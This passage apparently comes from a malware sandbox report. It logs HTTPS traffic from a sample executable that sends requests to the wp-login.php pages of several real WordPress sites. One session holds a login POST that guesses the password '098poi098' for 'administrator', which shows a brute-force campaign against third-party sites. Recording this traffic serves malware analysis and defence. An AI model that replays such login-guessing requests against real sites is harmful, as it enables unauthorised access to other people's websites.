2023-11-26 05:59:58 UTC	1369	IN	Data Raw: 28 70 29 3b 69 66 28 21 67 5b 65 5d 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 43 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 66 6f 72 20 22 2e 63 6f 6e 63 61 74 28 65 2c 22 20 77 61 73 20 6e 65 76 65 72 20 73 65 74 22 29 29 3b 72 65 74 75 72 6e 20 67 5b 65 5d 7d 66 75 6e 63 74 69 6f 6e 20 76 28 65 2c 74 29 7b 69 66 28 21 65 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 70 29 3b 67 5b 65 5d 3d 28 30 2c 69 2e 44 29 28 74 2c 66 28 29 29 3b 63 6f 6e 73 74 20 6e 3d 28 30 2c 72 2e 65 6b 29 28 65 29 3b 6e 26 26 28 6e 2e 69 6e 69 74 3d 67 5b 65 5d 29 7d 66 75 6e 63 74 69 6f 6e 20 6d 28 65 2c 74 29 7b 69 66 28 21 65 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 70 29 3b 76 61 72 20 6e 3d 68 28 65 29 3b 69 66 28 6e 29 7b 66 6f 72 28 76 61 72 20 72 Data Ascii: (p);if(!g[e])throw new Error("Configuration for ".concat(e," was never set"));return g[e]}function v(e,t){if(!e)throw new Error(p);g[e]=(0,i.D)(t,f());const n=(0,r.ek)(e);n&&(n.init=g[e])}function m(e,t){if(!e)throw new Error(p);var n=h(e);if(n){for(var r
2023-11-26 05:59:58 UTC	1369	IN	Data Raw: 66 28 21 45 5b 65 5d 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 52 75 6e 74 69 6d 65 20 66 6f 72 20 22 2e 63 6f 6e 63 61 74 28 65 2c 22 20 77 61 73 20 6e 65 76 65 72 20 73 65 74 22 29 29 3b 72 65 74 75 72 6e 20 45 5b 65 5d 7d 66 75 6e 63 74 69 6f 6e 20 54 28 65 2c 74 29 7b 69 66 28 21 65 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 41 6c 6c 20 72 75 6e 74 69 6d 65 20 6f 62 6a 65 63 74 73 20 72 65 71 75 69 72 65 20 61 6e 20 61 67 65 6e 74 20 69 64 65 6e 74 69 66 69 65 72 21 22 29 3b 45 5b 65 5d 3d 28 30 2c 69 2e 44 29 28 74 2c 6b 29 3b 63 6f 6e 73 74 20 6e 3d 28 30 2c 72 2e 65 6b 29 28 65 29 3b 6e 26 26 28 6e 2e 72 75 6e 74 69 6d 65 3d 45 5b 65 5d 29 7d 66 75 6e 63 74 69 6f 6e 20 52 28 65 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f Data Ascii: f(!E[e])throw new Error("Runtime for ".concat(e," was never set"));return E[e]}function T(e,t){if(!e)throw new Error("All runtime objects require an agent identifier!");E[e]=(0,i.D)(t,k);const n=(0,r.ek)(e);n&&(n.runtime=E[e])}function R(e){return functio
2023-11-26 05:59:58 UTC	1369	IN	Data Raw: 21 21 77 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 2c 69 3d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 57 6f 72 6b 65 72 47 6c 6f 62 61 6c 53 63 6f 70 65 26 26 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 73 65 6c 66 26 26 73 65 6c 66 20 69 6e 73 74 61 6e 63 65 6f 66 20 57 6f 72 6b 65 72 47 6c 6f 62 61 6c 53 63 6f 70 65 26 26 73 65 6c 66 2e 6e 61 76 69 67 61 74 6f 72 20 69 6e 73 74 61 6e 63 65 6f 66 20 57 6f 72 6b 65 72 4e 61 76 69 67 61 74 6f 72 7c 7c 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 26 26 67 6c 6f 62 61 6c 54 68 69 73 20 69 6e 73 74 61 6e 63 65 6f 66 20 57 6f 72 6b 65 72 47 6c 6f 62 61 6c 53 63 6f 70 65 26 26 67 6c 6f 62 61 6c 54 68 69 73 2e 6e 61 76 69 67 61 74 Data Ascii: !!window.document,i="undefined"!=typeof WorkerGlobalScope&&("undefined"!=typeof self&&self instanceof WorkerGlobalScope&&self.navigator instanceof WorkerNavigator\|\|"undefined"!=typeof globalThis&&globalThis instanceof WorkerGlobalScope&&globalThis.navigat
2023-11-26 05:59:58 UTC	1369	IN	Data Raw: 74 22 2c 65 29 7d 7d 7d 7d 2c 38 65 33 3a 28 65 2c 74 2c 6e 29 3d 3e 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 6e 2e 64 28 74 2c 7b 4c 3a 28 29 3d 3e 64 2c 52 3a 28 29 3d 3e 63 7d 29 3b 76 61 72 20 72 3d 6e 28 38 33 32 35 29 2c 69 3d 6e 28 31 32 38 34 29 2c 61 3d 6e 28 34 33 32 32 29 2c 6f 3d 6e 28 33 33 32 35 29 3b 63 6f 6e 73 74 20 73 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 63 28 65 2c 74 29 7b 63 6f 6e 73 74 20 6e 3d 7b 73 74 61 67 65 64 3a 21 31 2c 70 72 69 6f 72 69 74 79 3a 6f 2e 70 5b 74 5d 7c 7c 30 7d 3b 75 28 65 29 2c 73 5b 65 5d 2e 67 65 74 28 74 29 7c 7c 73 5b 65 5d 2e 73 65 74 28 74 2c 6e 29 7d 66 75 6e 63 74 69 6f 6e 20 75 28 65 29 7b 65 26 26 28 73 5b 65 5d 7c 7c 28 73 5b 65 5d 3d 6e 65 77 20 4d 61 70 29 29 7d 66 75 6e 63 74 69 6f 6e 20 64 28 Data Ascii: t",e)}}}},8e3:(e,t,n)=>{"use strict";n.d(t,{L:()=>d,R:()=>c});var r=n(8325),i=n(1284),a=n(4322),o=n(3325);const s={};function c(e,t){const n={staged:!1,priority:o.p[t]\|\|0};u(e),s[e].get(t)\|\|s[e].set(t,n)}function u(e){e&&(s[e]\|\|(s[e]=new Map))}function d(
2023-11-26 05:59:58 UTC	1369	IN	Data Raw: 20 69 3d 30 3b 69 3c 6e 2e 6c 65 6e 67 74 68 3b 69 2b 2b 29 6e 5b 69 5d 3d 3d 3d 74 26 26 6e 2e 73 70 6c 69 63 65 28 69 2c 31 29 7d 2c 65 6d 69 74 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 2c 72 2c 69 2c 61 29 7b 21 31 21 3d 3d 61 26 26 28 61 3d 21 30 29 3b 69 66 28 75 2e 61 62 6f 72 74 65 64 26 26 21 69 29 72 65 74 75 72 6e 3b 74 26 26 61 26 26 74 2e 65 6d 69 74 28 65 2c 6e 2c 72 29 3b 66 6f 72 28 76 61 72 20 6f 3d 70 28 72 29 2c 63 3d 76 28 65 29 2c 64 3d 63 2e 6c 65 6e 67 74 68 2c 6c 3d 30 3b 6c 3c 64 3b 6c 2b 2b 29 63 5b 6c 5d 2e 61 70 70 6c 79 28 6f 2c 6e 29 3b 76 61 72 20 66 3d 62 28 29 5b 73 5b 65 5d 5d 3b 66 26 26 66 2e 70 75 73 68 28 5b 67 2c 65 2c 6e 2c 6f 5d 29 3b 72 65 74 75 72 6e 20 6f 7d 2c 67 65 74 3a 6d 2c 6c 69 73 74 65 6e 65 72 73 3a 76 2c Data Ascii: i=0;i<n.length;i++)n[i]===t&&n.splice(i,1)},emit:function(e,n,r,i,a){!1!==a&&(a=!0);if(u.aborted&&!i)return;t&&a&&t.emit(e,n,r);for(var o=p(r),c=v(e),d=c.length,l=0;l<d;l++)c[l].apply(o,n);var f=b()[s[e]];f&&f.push([g,e,n,o]);return o},get:m,listeners:v,
2023-11-26 05:59:58 UTC	1369	IN	Data Raw: 75 72 6e 20 69 3d 21 30 2c 21 31 7d 2c 67 65 74 20 73 69 67 6e 61 6c 28 29 7b 72 65 74 75 72 6e 20 61 3d 21 30 2c 21 31 7d 7d 3b 72 2e 5f 41 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 74 65 73 74 22 2c 6e 75 6c 6c 2c 65 29 2c 72 2e 5f 41 2e 72 65 6d 6f 76 65 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 74 65 73 74 22 2c 6e 75 6c 6c 2c 65 29 7d 63 61 74 63 68 28 65 29 7b 7d 66 75 6e 63 74 69 6f 6e 20 6f 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 69 7c 7c 61 3f 7b 63 61 70 74 75 72 65 3a 21 21 65 2c 70 61 73 73 69 76 65 3a 69 2c 73 69 67 6e 61 6c 3a 74 7d 3a 21 21 65 7d 66 75 6e 63 74 69 6f 6e 20 73 28 65 2c 74 29 7b 6c 65 74 20 6e 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3e 32 26 26 76 6f 69 64 20 30 21 3d 3d 61 72 67 75 6d 65 6e 74 73 Data Ascii: urn i=!0,!1},get signal(){return a=!0,!1}};r._A.addEventListener("test",null,e),r._A.removeEventListener("test",null,e)}catch(e){}function o(e,t){return i\|\|a?{capture:!!e,passive:i,signal:t}:!!e}function s(e,t){let n=arguments.length>2&&void 0!==arguments

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
521	192.168.2.4	53224	18.229.0.171	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:57 UTC	181	OUT	GET /wp-login.php HTTP/1.1 Host: rechagricola.com.br Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:58 UTC	207	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 35 38 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 31 36 32 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 4c 6f 63 61 74 69 6f 6e 3a 20 68 74 74 70 73 3a 2f 2f 77 77 77 2e 72 65 63 68 61 67 72 69 63 6f 6c 61 2e 63 6f 6d 2e 62 72 2f 77 70 2d 6c 6f 67 69 6e 2e 70 68 70 0d 0a 0d 0a Data Ascii: HTTP/1.1 301 Moved PermanentlyServer: nginxDate: Sun, 26 Nov 2023 05:59:58 GMTContent-Type: text/htmlContent-Length: 162Connection: closeLocation: https://www.rechagricola.com.br/wp-login.php
2023-11-26 05:59:58 UTC	162	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
522	192.168.2.4	53607	34.136.104.255	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:58 UTC	401	OUT	POST /wp-login.php?wpe-login=true HTTP/1.1 Host: tiswheels.com Accept: / Accept-Encoding: deflate, gzip Cookie: wordpress_test_cookie=WP%20Cookie%20check; PHPSESSID=835c51dde586b73faf4b137534ab1370 User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: https://tiswheels.com/wp-login.php Content-Length: 134 Content-Type: application/x-www-form-urlencoded
2023-11-26 05:59:58 UTC	134	OUT	Data Raw: 6c 6f 67 3d 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 26 70 77 64 3d 30 39 38 70 6f 69 30 39 38 26 72 65 6d 65 6d 62 65 72 6d 65 3d 66 6f 72 65 76 65 72 26 77 70 2d 73 75 62 6d 69 74 3d 4c 6f 67 2b 49 6e 26 72 65 64 69 72 65 63 74 5f 74 6f 3d 68 74 74 70 73 25 33 41 25 32 46 25 32 46 74 69 73 77 68 65 65 6c 73 2e 63 6f 6d 25 32 46 77 70 2d 61 64 6d 69 6e 25 32 46 26 74 65 73 74 63 6f 6f 6b 69 65 3d 31 Data Ascii: log=administrator&pwd=098poi098&rememberme=forever&wp-submit=Log+In&redirect_to=https%3A%2F%2Ftiswheels.com%2Fwp-admin%2F&testcookie=1
2023-11-26 05:59:58 UTC	517	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 33 20 46 6f 72 62 69 64 64 65 6e 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 35 38 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 36 36 33 36 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 56 61 72 79 3a 20 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 0d 0a 56 61 72 79 3a 20 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 0d 0a 56 61 72 79 3a 20 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 0d 0a 78 2d 70 6f 77 65 72 65 64 2d 62 79 3a 20 57 50 20 45 6e 67 69 6e 65 0d 0a 50 72 61 67 Data Ascii: HTTP/1.1 403 ForbiddenServer: nginxDate: Sun, 26 Nov 2023 05:59:58 GMTContent-Type: text/html; charset=UTF-8Content-Length: 6636Connection: closeVary: Accept-EncodingVary: Accept-EncodingVary: Accept-Encodingx-powered-by: WP EnginePrag
2023-11-26 05:59:58 UTC	6636	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 09 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 09 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 74 69 74 6c 65 3e 4c 6f 67 20 49 6e 20 26 6c 73 61 71 75 6f 3b 20 54 49 53 20 4f 66 66 72 6f 61 64 20 26 23 38 32 31 32 3b 20 57 6f 72 64 50 72 65 73 73 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6e 6f 69 6e 64 65 78 2c 20 66 6f 6c 6c 6f 77 27 20 2f 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 63 72 69 Data Ascii: <!DOCTYPE html><html lang="en-US"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><title>Log In &lsaquo; TIS Offroad — WordPress</title><meta name='robots' content='noindex, follow' /><script type='text/javascri

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
523	192.168.2.4	53389	66.235.200.147	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:58 UTC	331	OUT	GET /wp-login.php?redirect_to=https%3A%2F%2Ftradeavenida.com%2Fwp-admin%2F&reauth=1 HTTP/1.1 Host: tradeavenida.com Accept: / Accept-Encoding: deflate, gzip Cookie: _cfuvid=LvH4Xrnl0rVYyhoO4XsyXtrl76eVXmaMNVuqhXVgIEc-1700978385041-0-604800000 User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:58 UTC	227	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 39 20 43 6f 6e 66 6c 69 63 74 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 35 38 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 46 2d 43 61 63 68 65 2d 53 74 61 74 75 73 3a 20 4d 49 53 53 0d 0a 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 32 62 66 65 38 38 65 34 39 35 30 30 37 64 30 2d 49 41 44 0d 0a 0d 0a Data Ascii: HTTP/1.1 409 ConflictDate: Sun, 26 Nov 2023 05:59:58 GMTContent-Type: text/html; charset=iso-8859-1Transfer-Encoding: chunkedConnection: closeCF-Cache-Status: MISSServer: cloudflareCF-RAY: 82bfe88e495007d0-IAD
2023-11-26 05:59:58 UTC	89	IN	Data Raw: 35 33 0d 0a 3c 73 63 72 69 70 74 3e 64 6f 63 75 6d 65 6e 74 2e 63 6f 6f 6b 69 65 20 3d 20 22 68 75 6d 61 6e 73 5f 32 31 39 30 39 3d 31 22 3b 20 64 6f 63 75 6d 65 6e 74 2e 6c 6f 63 61 74 69 6f 6e 2e 72 65 6c 6f 61 64 28 74 72 75 65 29 3c 2f 73 63 72 69 70 74 3e 0d 0a Data Ascii: 53<script>document.cookie = "humans_21909=1"; document.location.reload(true)</script>
2023-11-26 05:59:58 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
524	192.168.2.4	55597	74.220.219.189	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:58 UTC	244	OUT	GET /wp-login.php?redirect_to=https%3A%2F%2Fhimontessori.com%2Fwp-admin%2F&reauth=1 HTTP/1.1 Host: himontessori.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:58 UTC	162	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 39 20 43 6f 6e 66 6c 69 63 74 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 35 38 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 38 33 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 0d 0a 0d 0a Data Ascii: HTTP/1.1 409 ConflictDate: Sun, 26 Nov 2023 05:59:58 GMTServer: ApacheContent-Length: 83Connection: closeContent-Type: text/html; charset=iso-8859-1
2023-11-26 05:59:58 UTC	83	IN	Data Raw: 3c 73 63 72 69 70 74 3e 64 6f 63 75 6d 65 6e 74 2e 63 6f 6f 6b 69 65 20 3d 20 22 68 75 6d 61 6e 73 5f 32 31 39 30 39 3d 31 22 3b 20 64 6f 63 75 6d 65 6e 74 2e 6c 6f 63 61 74 69 6f 6e 2e 72 65 6c 6f 61 64 28 74 72 75 65 29 3c 2f 73 63 72 69 70 74 3e Data Ascii: <script>document.cookie = "humans_21909=1"; document.location.reload(true)</script>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
525	192.168.2.4	55752	172.96.186.206	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:58 UTC	171	OUT	GET /wp-login.php HTTP/1.1 Host: samson.pe Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:58 UTC	499	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 35 38 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 63 6c 2d 62 79 70 61 73 73 2d 63 61 63 68 65 3d 79 65 73 3b 20 45 78 70 69 72 65 73 3d 53 75 6e 2c 20 32 36 2d 4e 6f 76 2d 32 33 20 30 36 3a 35 39 3a 35 38 20 47 4d 54 3b 20 44 6f 6d 61 69 6e 3d 73 61 6d 73 6f 6e 2e 70 65 3b 20 50 61 74 68 3d 2f 3b 20 48 74 74 70 4f 6e 6c 79 3b 20 53 61 6d 65 53 69 74 65 3d 4c 61 78 0d 0a 53 65 72 76 65 72 3a 20 69 Data Ascii: HTTP/1.1 200 OKDate: Sun, 26 Nov 2023 05:59:58 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeSet-Cookie: cl-bypass-cache=yes; Expires=Sun, 26-Nov-23 06:59:58 GMT; Domain=samson.pe; Path=/; HttpOnly; SameSite=LaxServer: i
2023-11-26 05:59:58 UTC	15885	IN	Data Raw: 35 30 34 37 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 43 61 70 74 63 68 61 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 0a 20 20 20 20 20 20 20 20 20 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 6d 61 78 63 64 6e 2e 62 6f 6f 74 73 74 72 61 70 63 64 6e 2e 63 6f 6d 2f 62 6f 6f 74 73 74 72 61 70 2f 33 2e 33 2e 36 2f 63 73 73 2f 62 6f 6f 74 73 74 72 61 70 2e 6d 69 6e 2e 63 73 73 22 0a 20 20 20 20 20 20 20 20 20 20 69 6e 74 65 67 72 69 74 79 3d 22 73 68 61 33 38 34 2d 31 71 38 6d 54 4a 4f 41 53 78 38 6a 31 Data Ascii: 5047<!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <title>Captcha</title> <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.6/css/bootstrap.min.css" integrity="sha384-1q8mTJOASx8j1
2023-11-26 05:59:58 UTC	4679	IN	Data Raw: 36 37 31 20 43 32 39 2e 36 34 30 33 32 30 37 2c 33 38 2e 34 37 30 39 33 32 39 20 32 37 2e 34 36 36 32 38 34 31 2c 33 39 2e 39 34 30 35 34 32 37 20 32 35 2e 31 30 39 34 30 36 31 2c 34 31 2e 31 30 33 35 30 36 31 20 43 32 36 2e 33 30 33 33 32 30 37 2c 33 37 2e 31 35 34 39 33 32 39 20 32 37 2e 37 34 31 39 37 39 33 2c 33 33 2e 32 36 37 31 31 35 39 20 32 38 2e 39 39 37 32 32 33 32 2c 32 39 2e 33 34 38 39 32 30 37 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 69 64 3d 22 46 69 6c 6c 2d 31 32 22 20 66 69 6c 6c 3d 22 23 34 36 37 43 34 35 22 3e 3c 2f 70 61 74 68 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 20 64 3d 22 4d 34 2e 39 37 31 33 33 39 30 32 2c 32 35 2e 36 34 35 35 35 20 43 39 2e 39 Data Ascii: 671 C29.6403207,38.4709329 27.4662841,39.9405427 25.1094061,41.1035061 C26.3033207,37.1549329 27.7419793,33.2671159 28.9972232,29.3489207" id="Fill-12" fill="#467C45"></path> <path d="M4.97133902,25.64555 C9.9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
526	192.168.2.4	55748	162.210.96.117	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:58 UTC	184	OUT	GET /wp-login.php HTTP/1.1 Host: coralparkchristian.org Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:59 UTC	580	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 35 38 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 0d 0a 50 72 61 67 6d 61 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a 45 78 70 69 72 65 73 3a 20 57 65 64 2c 20 31 31 20 4a 61 6e 20 31 39 38 34 20 30 35 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 2c 20 6d 61 78 2d 61 67 65 3d 30 0d 0a 58 2d 46 72 61 6d 65 2d 4f 70 74 69 6f 6e 73 3a 20 53 41 4d 45 4f 52 49 47 49 4e 0d 0a 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 50 48 50 53 45 53 53 49 44 3d 37 61 70 32 66 37 33 6d 74 69 6c 36 36 6a 76 71 33 61 66 65 65 72 6f Data Ascii: HTTP/1.1 200 OKDate: Sun, 26 Nov 2023 05:59:58 GMTServer: ApachePragma: no-cacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0X-Frame-Options: SAMEORIGINSet-Cookie: PHPSESSID=7ap2f73mtil66jvq3afeero
2023-11-26 05:59:59 UTC	3247	IN	Data Raw: 63 61 38 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 09 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 0a 09 09 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 63 6c 61 73 73 3d 22 69 65 38 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 09 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 09 3c 21 2d 2d 5b 69 66 20 21 28 49 45 20 38 29 20 5d 3e 3c 21 2d 2d 3e 0a 09 09 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 09 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 09 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 Data Ascii: ca8<!DOCTYPE html>...[if IE 8]><html xmlns="http://www.w3.org/1999/xhtml" class="ie8" lang="en-US"><![endif]-->...[if !(IE 8) ]>...><html xmlns="http://www.w3.org/1999/xhtml" lang="en-US">...<![endif]--><head><meta http-equiv="Cont
2023-11-26 05:59:59 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
